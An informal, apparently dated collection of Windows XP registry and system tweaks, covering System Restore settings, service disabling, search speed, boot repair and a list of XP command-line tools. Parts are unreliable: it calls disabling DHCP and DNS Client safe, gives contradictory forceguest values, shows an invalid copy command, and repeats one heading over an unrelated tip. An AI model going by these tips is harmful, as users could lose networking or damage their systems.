This key stores the environment variables from the Config.sys and Autoexec.bat files for use in Windows.
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\ VirtualDeviceDrivers
This key stores the device drivers that are used in an NTVDM session. Windows Setup creates these entries when a device driver is installed

How to alter behavior of System Restore Utility
There are three specific keys that control behavior of System Restore Utility. It has many values that can be altered and also have some that should not be altered under any circumstances. Microsoft Article http://support.microsoft.com/default.aspx?scid=kb;en-us;Q295659 explains it all in detail this but in brief following three keys are important.
1. HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Sr
2. HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Srservice
3. HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\SystemRestore
Only some sub-keys of third key can be modified without harming your computer. Read the Microsoft Article to know what can not be modified.Following keys can be modified (copied from Microsoft Article):
CompressionBurst
This value, listed in seconds, specifies the idle time compression: The amount of time to compress data after the computer reaches its idle time. A service can compress data for the amount of time that is specified in this value, and then stop. Then, at the next idle time compression, the computer can repeat the process.
DiskPercent
This value relates to the percentage of disk space that System Restore uses for its data store. The default value is 12 percent. The data store size is always calculated as "max(12 percent, DSMax)," regardless of the size of the hard disk. The maximum (max) size is what is specified in DSMax. For hard disk sizes that are less than 4 gigabytes (GB) in size, 12 percent is less than 400 megabytes (MB), so "max(12 percent, DSMax) equals 400 MB." For hard disk sizes that are greater than 4 GB, 12 percent is greater than 400 MB, so "max(12 percent, DSMax) equals 12 percent." This data store size is not a reserved disk space, and the data store size is used only on demand.
DSMax
This value specifies the maximum size for the System Restore data store. The default size of the data store is 400 MB. The data store size is always calculated as "max(12 percent, DSMax)," regardless of the size of the hard disk. The maximum (max) size is what is specified in DSMax. For hard disk sizes that are less than 4 GB, 12 percent is less than 400 MB, so "max(12 percent, DSMax) equals 400 MB." For hard disk sizes that are greater than 4 GB, 12 percent is greater than 400 MB, so "max(12 percent, DSMax) equals 12 percent." This data store size is not a reserved disk space, and the data store size is used only on demand.
DSMin
This value relates to the minimum amount of free disk space that System Restore needs so that it can function during the installation process. Also, this value relates to the minimum amount of free disk space that is needed for System Restore to reactivate and to resume the creation of restore points after System Restore has been disabled because of low disk space.
RestoreStatus
This value specifies if the last restore operation failed (0), succeeded (1), or had been interrupted (2).
RPGlobalInterval
This value specifies, in seconds, the amount of time that System Restore waits before it creates the automatic computer check points for elapsed time. The default value is 24 hours.
RPLifeInterval
This value specifies, in seconds, the restore points Time to Live (TTL). When a restore point reaches this time and it is still on the system, it gets deleted. The default value is (7776000), which will be 90 days.
RPSessionInterval
This value specifies, in seconds, the amount of time that System Restore waits before it creates the automatic computer check points for session time (the amount of time that the computer has been on). The default value is zero (0), which means that this feature is turned off.
ThawInterval
This value specifies, in seconds, the amount of time that System Restore waits before it activates itself from a disabled state (after the conditions for this process to occur have been met). If you start the System Restore user interface, System Restore is activated immediately.

If you have a faster hard disk, keep your pagefile.sys
If you do not already know, pagefile.sys is your swap file. It makes common sense to put it on a hard disk that is fastest. So say if you have upgraded you machine and a newer and faster harddisk, change the pagefile location to that drive. Open registry and navigating to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ MemoryManagement and then looking for Paging files Change its drive location (on mine its says C:\pagefile.sys) to the one that is faster (say D:\pagefile.sys if D: denotes the faster drive).

Private information about who is logged on your computer at a time.
XP stores certain information about you as and when you are logged on in following places in registry:
Logged on User: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Logon User Name]
Personal: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Personnal]
Default Document folder: [HKEY_CURRENT_USER\Volatile Environment\HOMEDRIVE]
.Net email account: [HKEY_CURRENT_USER\Software\Microsoft\MessengerService\ListCache\.NET Messenger Service\IdentityName]
Number of Open programs: [HKEY_CURRENT_USER\SessionInformation\ProgramCount]

Does your computer forgets to power off after shutdown ?
If this is is the case, try this. It may help. Open registry by going to START-RUN and entering REGEDIT and Navigating to [HKEY_CURRENT_USER\Control Panel\Desktop] and look for value of PowerOffActive key. If it is set to 0, set it to 1 . This may not work in all cases (specially if your hardware does not support APMS protocol) but is worth a try in other cases.

Have you been asked to insert Window XP CD whenever you install a new software ?
If this is is the case, you may want to automate the process a bit. Assuming you have enough disk space (meaning at least 600 MB extra), you can copy all that you have in your Win XP CD's \i386\ directory to your harddisk and change its pointer in registry. Assume you copy everything that you have in \i386 directory to say C:\i386 where C: is your hard disk, you can automate this process and avoid being asked for inserting CD by changing following entry in registry. Open registry and navigate to [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion and look for the key called SourcePath. Change this key's value to your hard disk path. Thats all. Optimize your XP Pro system by tweaking service manager ? Remove unnecessary services !
This is important. You don't know how many services are started by your service manager everytime you boot your system. There is a very strong likelihood that some of these services are never of any use to you and as such you never directly or indirectly use them. If so, why delay the boot time and also degrade the system performance for no reason ! Stop this services from starting automatically. Here is How-to ! Open service manager by going to START-RUN and entering services.msc. Now in the right pane, you would see a list of services some of them would be started and others don't. Also they could be set to any of three status of start mode. "Manual", "automatic" and "disabled". If you double Click on any of these you would see detailed info on each of these. You have an option of starting or stopping the services running on your computer. If you are typical desktop user like most of us, it might be safe to disable and stop following services. But still do understand it before you do it. Also some of those listed below may not be available for you as well.
1. Portable Media Serial Number
2. DHCP Client
3. Distributed Link Tracking Client (Most likely you're not connected to a Windows 2000 domain )
4. DNS Client ( Again you're not connecting to a specific DNS server on your local network most of times)
5. FTP Publishing Service ( If you don't want your system to act as an FTP server. I don't !)
6. IIS Admin Service ( You computer may not be a WWW server and as such no need for this service )
7. IPSEC Policy Agent ( disable it if you're not connected to a Windows 2000 domain )
8. Messenger ( same reason...you may not be connected to a Windows 2000 domain )
9. Remote Registry Service (Typically you don't remotely access the Registry of other systems )
10. RIP Service (If you are a typical home user, you don't need your system to act as a router)
11. Run As Service ( This can also go since most likely you don't use any applications that run as an alias )
12. World Wide Web Publishing Service ( If you are a not into web publishing business,You don't need this as well)

Improve speed of of file search in WINDOWS XP PRO operating system.
If you have not already noticed, you soon will. Default search for a file in Windows Explorer takes a long time to complete. Yes thats correct. I had to wait for some time before I could do that when I was creating the screen print of *.msc search on my computer (see the article on gpedit.msc in list of tools link). Anyway bottom line is default search would be slow in XP, In fact slower than even a Window 98 PC. But there is a reason for it and couple of ways to tweak it. First the reason: One of the reasons XP's default file search takes so long is it not only looks for file names in your directories, it processes compressed (.zip and .cab) files, looking for your filename inside of these zipped files! There are few ways to improve your search.
Disable ZIP and CAB search:
This tip was brought to my attention by James Heinrich.

To disable Compressed Folders for zip files:
regsvr32 /u zipfldr.dll
For CAB files:
regsvr32 /u cabview.dll
All of a sudden it goes so much faster, and no need for indexing service,
or weird searching limitations.
Can always be re-enabled afterwards with the same command, minus the/u
Set index service on:
You can further improve the search bye turning the index service on ! Well it does not end here. You not only have to turn the index service on but also has to follow many do's and don'ts. Here are some of them.
1: Never search by putting criteria in the "All or part of the file name" box.
2. Enter your criteria in the "A word or phrase in the file" as described below - no matter what you want to achieve !
TO SEARCH FOR A FILE BY NAME:
Your search criteria must begin with:
@filename
or
#filename
followed by all or part of the filename you are looking for and you must put it in the "A word or phrase in the file: input area Wildcards * and/or ? are allowed:
TO SEARCH FOR A FILE BASED UPON A WORD OR PHRASE IN THE FILE:
Your search criteria must start with an exclamation mark
!yourcriteria
The exclamation mark forces use of the index. If the exclamation mark isn't used, Search Companion will begin a slow file-by-file physical search

Troubled by IE crashing unexpectedly for no reason? Launch it in its own process.
If you have seen it happening, you must hate it. You are working on something important (may be filling an application form, filing a tax return, view sensitive data what not or may be just reading an interesting site ) and out of no where an error is reported in iexplorer.exe and all instances of Internet explorer closes out. Isn't this painful ? Well sure it is , but what can you do (???) Well you can do some thing. Thats not the perfect solution but may be a good workaround till we achieve perfection. Open registry (by going to START-RUN and entering regedit) and navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer] and add a new string by the name "BrowseNewProcess" and set its value to "yes". That all. Doing this would open your Internet Explorer Browser in a separate process area of its own, and this would not shut down just because there was a problem with another instance of Internet Explorer. Hey this takes more memory but for those who can afford it offers a solution.

Don't want Num Lock to be switched on at boot time ? Shut it off.
This tip is not a performance tip but may be liked by those who like customization. If you are one of those who do not want NUMLOCK to be on at boot time, here is the trick. Open registry (by going to START-RUN and entering regedit) and navigate to [HKEY_USERS\.DEFAULT\Control Panel\Keyboard] and look for a string key by the name "InitialKeyboardIndicators". If its not there , create it else change its value to
0 to set NUMLOCK off or 2 to set NUMLOCK on.

Troubled by IE crashing unexpectedly for no reason? Launch it in its own process.
I am not a serious gamer but there was a time when I was playing a chilly eating game at Guiness book of records. Even with my best efforts I was not able to eat more than 72 chillies where as record was for that of 90 in a minute. I was wondering how could that happen ? Same goes with 1 minute short chess games on line. I think an accelerating mouse and pointing device was what I was missing (apart from the gamer skills !) Well if you want to accelerate your mouse , here a tip I found on Internet There is a logic order in the 64-bit hexadecimal values in the registry trick I am suggesting to you folks. When trying different values, you should come up with a diagram which displays a curve, this is the unwanted acceleration. Adjusting the values that the curve becomes a straight line resolves the mouse-acceleration. Open registry (by going to START-RUN and entering regedit) and navigate to [HKEY_CURRENT_USER\Control Panel\Mouse] and set value of "SmoothMouseXCurve" and
"SmoothMouseYCurve" as follows:
"SmoothMouseXCurve"=hex:00,00,00,00,00,00,00,00,00,a0,00,00,00,00,00,00,00,
40,01,00,00,00,00,00,00,80,02,00,00,00,00,00,00,00,05,00,00,00,00,00

"SmoothMouseYCurve"=hex:00,00,00,00,00,00,00,00,66,a6,02,00,00,00,00,00,cd,4c, 05,00,00,00,00,00,a0,99,0a,00,00,00,00,00,38,33,15,00,00,00,00,00

Load Outlook Express faster. Stop Outlook express logo screen from poping up
Not a big deal but would help you get there faster. Open registry (by going to START-RUN and entering regedit) and navigate to [HKEY_CURRENT_USER\Identities\{** Identity ID **}\Software\Microsoft\Outlook Express\5.0] where Identity Id is your computer specific value (on my computer Identity Id is {9144D186-C4E5-462F-A269-E9F293F14A1D}) and look for value of "NoSplash ". If this is the first time, you may not see this key and if so add the DWORD key by the name "NoSplash ". Now sets its value to 1

Run Windows Explorer in its own process. Avoid Total Explorer Crash
This will further secure your windows explorer from crash though not a great idea if short on memory. Open registry by going to START-RUN and entering regedit. Navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced] . In this look for value of "SeparateProcess". If available set its value to 1 and if not (which could be the case ) then add a DWORD key by the name "SeparateProcess" and set its value to 1.

If you would rather prefer not to change registry settings , you can get similar results by following steps mentioned below
Click on "Start" Menu
Clcik "My Computer"
Click on "Tools" Menu
Click "Folder Options"
Check "Lauch folder windows in separate process"
Stability would be more because each Folder window will start in separate process and will not cause system to halt in case one or more of such processes stop responding. Although it is supposed to provide better stability but may be at the cost of performance.

Secure your computer: Enable Advanced File System Security Options
This will further secure your windows explorer and not really a performance tweak. Open registry by going to START-RUN and entering regedit. Navigate to [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] . In this look for value of "forceguest". If available, its default value would be 1. Set its value to 1. This would enables Windows XP logic for advanced permissions

Define a logical value for System Cache
Depending upon how you intend to use your computer (like a workstation or server ), it may make sense to set the system cache. Open registry by going to START-RUN and entering regedit. Navigate to [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management] . In this look for value of "LargeSystemCache". If available, do one of the following:
If intention is to use the computer like a workstation, set its value to 0.
If intention is to use the computer like a server, set its value to 1.

Control parsing of autoexec.bat
In Window 3.1 autoexec.bat was one of the few choices of executing any app at boot time. But its importance has gradually thinned. It is still supported but you can pretty much do without it for most part. If you do not need to parse the autoexec.bat (there may not be anything in it anyway !), you can tell Windows XP to do that. Open registry by going to START-RUN and entering regedit. Navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] . In this look for value of "ParseAutoexec". If available, do one of the following:
If you want to disable parsing of autoexec.bat, set its value to 0.
If you want to enable parsing of autoexec.bat, set its value to 1

Disable default capability of Windows XP to open the compressed/zipped folder
I am comfortable with the default capability that Windows XP provides to unzip the zipped/compressed files/folders. But if you are used to winzip/pkzip or any other third vendor software, it may make sense to avoid confusion by disabling default unzipper code in windows. To do this go to START-RUN and entering "regsvr32 /u zipfldr.dll" (without quotes). To enable it go to START-RUN and entering "regsvr32 zipfldr.dll" (without quotes).

Automatically kill non-responding application at shutdown
Remember this ! It happens to all of us invariably sometime or the other no matter what you do. Don't you hate waiting for those extra seconds and then simply responding yes to the windows query. Well you have a remedy. You can tell Windows XP to automatically close all non responding windows. Open registry by going to START-RUN and entering regedit. Navigate to [HKEY_USERS\.DEFAULT\Control Panel\Desktopn] . In this look for value of "AutoEndTasks". If available, do one of the following:
If you want to enable automatic killing of non responding tasks, set its value to 1. to disable it set it back to 0

Improve Shutdown. Lets not save your active session's settings on exit
If you Don't care which windows app was located where when you are shutting down the system, this tip may in fact help improve the shutdown time a bit (a bit not too much)..Simply inform windows not to save the settings at exit time. To do this , open registry by going to START-RUN and entering regedit. Navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] . In this look for value of "NoSaveSettings". If available, do one of the following:
If you want to enable no save on exit, set its value to 1 else to save on exit. set it back to 0

Disable use of Win key
I am not sure why you would ever want to do this except probably if you do not have a windows enabled keyboard but here is the tip anyway (tip for the sack of tip !!!!). To disable use of Win key, open registry by going to START-RUN and entering regedit. Navigate to [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layout] . In this look for value of "Scancode Map". Its binary data so be extra careful:
Set its value to "00 00 00 00 00 00 00 00 03 00 00 00 00 00 5B E0 00 00 5C E0 00 00 00 00" to disable the win key.

AutoReboot whenever Windows XP experiences BSOD (Blue Screen of Death!)
Since Windows XP is touted as most reliable Windows XP ever, you do not need this trick!. Well I am somewhat kidding. There is nothing in this world that is foolproof. I have faced this twice so far. To make windows reboot instead of producing the cryptic dump, open registry by going to START-RUN and entering regedit. Navigate to [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl] . In this look for value of "AutoReboot". Setting its value to 1 will activate Autoreboot. By default this is the value on my system but just in case if you have a 0,set it to 1

Laptop/portable computer users ! Undock without logon
I read about this over the Internet. This would allow you to undock without logging on to Window XP.To do this, open registry by going to START-RUN and entering regedit. Navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System] . In this look for value of "UndockWithoutLogon". Setting its value to 1 to enable it or 0 to disable it

Selectively clean the history of START-RUN list
If you have not cleaned the RUN entries for a while or you choose not to, you would have a list of them.If you want to selectively delete the entries do this.Open registry by going to START-RUN and entering regedit. Navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU] . In this look for various entries on right pane. You can choose what you want to delete and simply delete it. Or you can clear all command lines as well

Activate Automatic Boot Disk Optimization
To activate automatic boot disk optimization, do this.Open registry by going to START-RUN and entering regedit. Navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction] . In this look for value of "Enable". You can set its value to "Y" to enable it

Restrict certain users from running an application
You can selectively restrict access to few apps and file names. To do this, open registry by going to START-RUN and entering regedit. Navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion \Policies\Explorer] and a sub-key by the name "DisallowRun". Within this key, add many string keys you like each mapped to an application or file that you want to be restricted

Do not let Regedit remember last changed key
You'll need to be in the admin account, or yours must have admin privileges.

In regedit, navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit] and look for the value LastKey. Double-click it and clear the string. Then right-click the Regedit key (in the left-hand pane) and select Permissions. Set Permissions to Deny for any/all users/group

How to use program aliases ?
You can use program aliases to run actual program. Well there are ways to hide actual program name. Not sure what's the good use for this tip but here it is anyway

In regedit, navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths]. To create a new alias, create a sub-key, and call it the name of the alias you wish to create. Then modify the Default value of the sub-key to equal the fully qualified path and filename of the application you want to be launched

Change alignment of Start Menu panel.
This is a customizing tip. If you have noticed, START MENU PANEL has all the entries aligned to left. Well that's not a cause of concern but may be you are one of those who want it to be the other way, say you want it to align to right. This can be done by a quick registry tweak. In regedit, navigate to [HKEY_CURRENT_USER\Control Panel\Desktop] and look for key "MenuDropAlignment". Set its value to 1 to align the menu entry to right or if you did not like the idea of entries aligned to right, set it back to 0 for align back to left which is the Default XP behavior

Customize windows explorer's Default search
This is a customizing tip. If you want to customize your windows explorer search here are some tips. In regedit, navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer] and look for following keys
"CaseSensitive"
"IncludeSubFolders"
"SearchHidden"
"SearchSlowFiles"
"SearchSystemDirs"
Key names are self revealing. If you want a CaseSensitive search set its value to 1 else 0. This is the technique, if you prefer to enable any of the above feature, set its value to 1 else set it back to 0

Get back to old days, see the file attributes in Windows Explorer
I have noticed that in Windows Explorer, when you click on the detailed mode, you do not see the file attributes any more. This used to be there in previous versions of Windows (Well in office, I still use Windows 95 and Windows Explorer out there shows the file attributes). If you want to enable this setting, do this:
In regedit, navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Explorer\Advanced] and look for key "ShowAttribCol". You may not find it there if this is your first time. In this case, create a new DWORD key "ShowAttribCol" and set its value to 1 to enable it

Stop a user from changing Start Menu
This can be considered a security tip. If you want to restrict modifications to Start menu, do the following:
In regedit, navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] and look for key "NoChangeStartMenu". Set its value to 1 to enable it to stop users from changing the Start Menu

How to enable/disable thumbnail cache
For performance reason, Windows explorer stores thumbnail of pictures in a cache. This is good but there is a problem. Some time caching mechanism would show incorrect pictures just because update process is not instantaneous. If you want to have thumbnail pictures refreshed every time (mind you, this would be an additional load on your CPU resources), do this:
In regedit, navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced] and look for key "DisableThumbnailCache". You may not find it there if this is your first time. In this case, create a new DWORD key "DisableThumbnailCache" and set its value to 1 to disable caching mechanism

Disable Default CD Burning capability
If you have a good CD burning software, you may want to disable the CD burning capability. There are couple of ways to, do this:
REGISTRY METHOD:
In regedit, navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] and look for key "NoCDBurning". You may not find it there if this is your first time. In this case, create a new DWORD key "NoCDBurning" and set its value to disable it

ALTERNATE METHOD:
Go to your windows explorer and locate the drive that corresponds to CD-RW drive. Right click on it and select properties. Within Properties window, go to Recording tab and you would see and option called "Enable CD Recording on this drive". If it is checked , deselect it

Securing your WINDOWS XP computer
You can provide added level of security to your WINDOWS XP System. This is called securing your Windows XP accounts database. You can store all information related to your accounts in a encrypted form on a floppy disk. What this would do is that if You do not have access to your floppy disk, You can not access the system. I am not sure You realized what I just said ! Even if You know your userid/password, You will not be able to access the system unless and until You have this startup disk.
Process of generating the this secure startup floppy disk is simple. Go to START-RUN and type syskey. You would see a window coming up. Click on Upgrade command button. You would see another window poping up which will give You the option of storing the encrypted accounts database either locally or on your floppy disk. Choose floppy disk and click OK and let the process complete. You are done.
Next time You reboot the computer and get to the logon prompt, make sure that You have the floppy disk available in A: drive else You can not log on

How to restart Windows without restarting your computer
This one is again is. When you click on the SHUTDOWN button, make sure to simultaneous press SHIFT Button. If you hold the Shift key down while clicking on SHUTDOWN button, you computer would restart without restarting the Computer. This is equivalent to term"HOT REBOOT

How to print content of directory
Here work around is to create a DOS batch file with command to print the dir content into your printer port (make sure you know what is your printer port, in general it is LPT1 but it could be USB001 if you have it connected to USB port, right click on the printer icon and go to port tab and figure this out first) and then creating a context menu access this batch functionality. All right here are the instructions:
step 1:
Open a text editor, such as Notepad, and type the following lines into a new document: (assuming the printer you wish to use is connected to printer port #1). CD %1
DIR>LPT1

Save the two-line file into your Windows\Command folder, and call it PRINTDIR.BAT.
step 2:
Find the file in Explorer, right click on it, and select Properties.
Click on the Program tab, turn on the Close on Exit option, choose Minimized from the Run list, and click Ok.
Next, run the Registry Editor (REGEDIT.EXE) by going to START-RUN and type regedit and navigate to
[\HKEY_CLASSES_ROOT\Directory\shell]. Select New from the Edit menu, and then select Key. Type Print for the name of this new key, and press Enter. Highlight the new Print key, select New from the Edit menu, and then select Key again. Type command for the name of this new key, and press Enter. Double-click on the (default) value in the right pane, and type C:\Windows\Command\PRINTDIR.BAT (assuming that C:\Windows\ is your Windows folder).
From now on, when you right-click on a folder icon, you can click Print to print its contents. Note: this assumes that your printer is connected to the LPT1 port, which is true for most users. However, if your printer is connected over a network or you have more than one printer, you need to change LPT1 to the correct port

Using third part defrag utility ? Make it defrag all files
I read about this tip on web. If you are using a third party defrag utility, you can make it defrag all files. Go to C:\Windows\Prefetch directory and removing/deleting layout.ini file

Speedup boot time by improving NTFS check
CHKNTFS is the command used to set the AUTOCHK initiation count down time. You can reduce it from default 9 seconds to a much lower value say 4 seconds. Go to command prompt and type CHKNTFS/T:4 This command would set the AUTOCHK initiation count time down to 4

How to kill the IE About windows that popup from time to time
There is an Internet Explorer vulnerability to which allows some web sites to open a hidden popup tracking minimized window either upon your first visit or when you leave their web site or even when you close your browser while one of their web pages is still displayed. They do this by using the little known "about:" browser built-in command into their HTML/DHTML/XML code. Sometimes this window Go undetected as these are not resizable as you come to expect of a typical window app. If you do not have anything specific with www.about.com, there could be a registry tweak that you can do. Run the Registry Editor (REGEDIT.EXE) by going to START-RUN and type regedit and navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
Internet Settings\ZoneMap\ProtocolDefaults]
and add two DWORD keys"about" and "about:" and set its value to 4

What is Master Bood Record ? How to fix problems with master boot record
So what is Master Boot Record (MBR)? Master boot record is the first sector of the disk that is accessed by you computer BIOS as soon as it boots up. So what does it mean ? It means that your ability to boot to a particular operating system depends upon the correctness of Master Bood Record. If you have ever installed two or more operating system, your ability to select an operating system is controlled by master boot record. Assume if you are not able to boot due to your dislike of the changes in boot loader process or corruption in MBR (btw, this could happen for a variety of reasons, right from virus to your own experiments with multi boot process.. I have seen this happening a lot on my PC since I have a dual cpu system with Mandrake 8.1 on one partition and Windows XP on another with Mandrake graphical Master Boot Menu ) you have to correct the master boot record.
Assuming you are in Windows XP, you have to put WINDOWS XP CD in your drive and make it reboot next time in recovery console.
1. Simplest way to do this would be to would be to navigate to START-RUN and type D:\i386\winnt /cmdcons (D: is the CDROM drive in my computer) and let the process finish and reboot.
2. Once rebooted, system would prompt you to choose recovery console and chose it by entering proper menu id number (by default should be 1). Once console is loaded do enter this command FIXMBR /device/harddisk0 (where harddisk0 refers to C: drive where WINDOWS XP is installed by default). This would fix your master boot record to default XP boot. By the way FIXMBR command is only available from recovery console

http://www.microsoft.com/technet/treeview/default.asp?url=/TechNet/prodtechnol/winxppro/proddocs/bootcons_fixmbr.asp

How to write a new partition boot sector to the system partition
Are you look for a way to correct the partition boot sector, here is a quick fix. You have to put WINDOWS XP CD in your reboot the computer next time in recovery console. Here are the steps after you put your XP CD and boot into recovery console (Choose R for Recovery console when Windows XP setup disk starts)
1. Once console is loaded do enter this command FIXBOOT C:(where C: is the hard disk drive where WINDOWS XP is installed by default)

http://www.microsoft.com/technet/treeview/default.asp?url=/TechNet/prodtechnol/winxppro/proddocs/bootcons_fixboot.asp

How to change the text in START Button in task bar ?
I have received many emails from users on this topic. In Windows XP Pro, you can change your Start button and you are not even restricted with 5 characters as it used to be the case in previous version of Windows but the process itself of modifiying the start button is a bit more tedious than what it used to be. Anyways, gist of act is to modify your
1. First of all, make a backup of your explorer.exe This is one of the most important executables of your operating system and incase you make a mistake, you should have its backup to fall back on to ! You will see this file in C:\Windows directory. Go there, make a copy and change its name to something you remember like "explorerold.exe or explorer.old".
2. Download a freeware called ResourceHacker by going to

http://www.rpi.net.au/~ajohnson/resourcehacker 3. Now, lauch resource hacker and locate your explorer.exe by going to c:\windows. Now go to String Table>37>1033. This is where the START text is located. Change it whatever you would like....
4. Once done with the changing START button text, click on the button called "Compile Script". Now its time to save the changes. Important: Save the file as explorer_modified.exe (or something similar). You can not save it as explorer.exe as file is in use as you are exploring the directories etc etc.
5. All right, reboot the computer and boot into safe mode in command prompt environment (at boot time press 'F8' a few times...) and log in as administrator.
6. Now all that you need to do is to copy the modified explorer file to original one.
Type this at command prompt "copy c:\windows\explorer_modified.exe to c:\windows\explorer.exe" (without quotes)
7. Reboot your computer as you would normally do.

If you have followed the steps correctly, you should have new explorer by now

How to disable screen saver in Windows XP ?
One of the easiest things that you can do to remove screen saver is to simply select none from the Screen Saver tab of Desktop properties window. This should help. Doing this would be all that most of us would ever need for those few who want to go one more level, here is what you can do. Windows has a default screen saver called login.scr, which runs even if no screen saver has been selected. There is a potential security risk here as login.scr can be removed and replaced with malicious screen saver with system priviledges.
To resolve this, Open registry and navigate to [HKEY_USERS\.DEFAULT\Control Panel\Desktop] and look for the data key "ScreenSaveActive". Setting its value to 0 would disable screen saver (you can always enable it by setting it back to 1). You may as well change the login.scr that is goes as the value of data key 'SCRNSAVE.EXE' .Try clearing out the value for 'SCRNSAVE.EXE' to completely remove the screen saver or replace it with some thing of your own

How to stop XP from displaying unread messages count on Welcome Screen?
I received few mails from users requesting HowTo on disabling unread message count from Welcome Screen.
To stop XP from displaying count of unread messages, Open registry and navigate to [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\UnreadMail] and look for the data key "MessageExpiryDays". If you do not see this key, create one DWORD key by the name "MessageExpiryDays". Setting its value to 0 would stop Windows XP from displaying the count of unread mesages

How to rollback a device driver ?
There are times when you install an ungrade to a device driver but instead of getting an upgrade you get downgraded in the sense that either you loose on performance or its stoping functioning at all. In situation like this where you are still able to logon with System priviledges, you can roll back the driver. Even though this can not be considered as a tweak, but it could save you a good deal of time and disappointment.
Here are the steps:

Step:1 Log in with an administrator account
Step:2 Right click on My Computer
Step:3 Select Properties
Step:4 Click on the Hardware tab
Step:5 Click on the Device Manager button
Step:6 Select the device you want to rollback or reconfigure
Step:7 Click on the Driver tab and then click on the Roll Back Drive button

Windows XP Command Line Reference

You would be surprised to know what you can do from command line of Windows XP Pro. Windows XP Pro comes equipped with a powerful set of command line utilities. If you want to know what they are and how to run them and a good decription of each of them...go no futher.. Its available right in your computer. This is again not a tip or trick or tweak of any kind but information that is as powerful as any of the tips/tricks.

Open START-RUN window and type C:\WINDOWS\Help\ntcmds.chm
Also you may not know that .chm is the windows help file extension. I find the Windows Help to be a very good starting point to learn all the power and resources of Windows environment. I like section of NETSH and Windows scripting host among other things. You can read most of it in the reference but here I am doing a cut/paste of the new command line tools.

The following table lists the new Windows XP Professional command-line tools.

Command	Features
bootcfg	Configures, queries, or changes Boot.ini file settings.
defrag	Locates and consolidates fragmented boot files, data files, and folders on local volumes.
diskpart	Manages disks, partitions, or volumes.
driverquery	Queries for a list of drivers and driver properties.
eventcreate	Enables an administrator to create a custom event in a specified event log.
eventquery	Lists the events and event properties from one or more event logs.
eventtriggers	Displays and configures event triggers on local or remote machines.
fsutil	Manages reparse points, managing sparse files, dismounting a volume, or extending a volume.
getmac	Obtains the media access control (MAC) address and list of network protocols
helpctr	Starts Help and Support Center.
ipseccmd	Configures Internet Protocol Security (IPSec) policies in the directory service, or in a local or remote registry. Ipseccmd is a command-line version of the IP Security Policies Microsoft Management Console (MMC) snap-in.
logman	Manages and schedules performance counter and event trace log collections on local and remote systems.
openfiles	Queries, displays, or disconnects open files.
pagefileconfig	Displays and configures the paging file Virtual Memory settings of a system.
perfmon	Enables you to open a Performance console configured with settings files from Windows NT 4.0 version of Performance Monitor.
prncnfg	Configures or displays configuration information about a printer.
prndrvr	Adds, deletes, and lists printer drivers from local or remote print servers.
prnjobs	Pauses, resumes, cancels, and lists print jobs.
prnmngr	Adds, deletes, and lists printers or printer connections, in addition to setting and displaying the default printer.
prnport	Creates, deletes, and lists standard TCP/IP printer ports, in addition to displaying and changing port configuration.
prnqctl	Prints a test page, pauses or resumes a printer, and clears a printer queue.
relog	Extracts performance counters from performance counter logs into other formats, such as text-TSV (for tab-delimited text), text-CSV (for comma-delimited text), binary-BIN, or SQL.
sc	Retrieves and sets information about services. Tests and debugs service programs.
schtasks	Schedules commands and programs to run periodically or at a specific time. Adds and removes tasks from the schedule, starts and stops tasks on demand, and displays and changes scheduled tasks.
shutdown	Shuts down or restarts a local or remote computer.
systeminfo	Queries the system for basic system configuration information.
taskkill	Ends one or more tasks or processes.
tasklist	Displays a list of applications, services, and the Process ID (PID) currently running on either a local or a remote computer.
tracerpt	Processes event trace logs or real-time data from instrumented event trace providers and allows you to generate trace analysis reports and CSV (comma-delimited) files for the events generated.
typeperf	Writes performance counter data to the command window or to a supported log file format.
WMIC	Eases the use of Windows Management Insturmentation (WMI) and systems managed through WMI.

Enable 5th zone setting in Internet Explorer 6.0
I read about this a few days ago. There a fith setting in Internet Explorer 6 called my computer which is diabled by default. If you want to enable this, Open registry by going to START-RUN and entering regedit and then navigate to [HKEY_CURRENT_USER\Software\Microsoft\ Windows\CurrentVersion\InternetSettings\Zones\0] and look for the data value called "flags". Its default value is 33 ("Flags"=dword: 0X00000021 ) . Chage its value 1 and reboot. Now you should see an option called my computer in Internet Explorer 6 Zone settings

Are you annoyed by XP asking for registration again & again ?
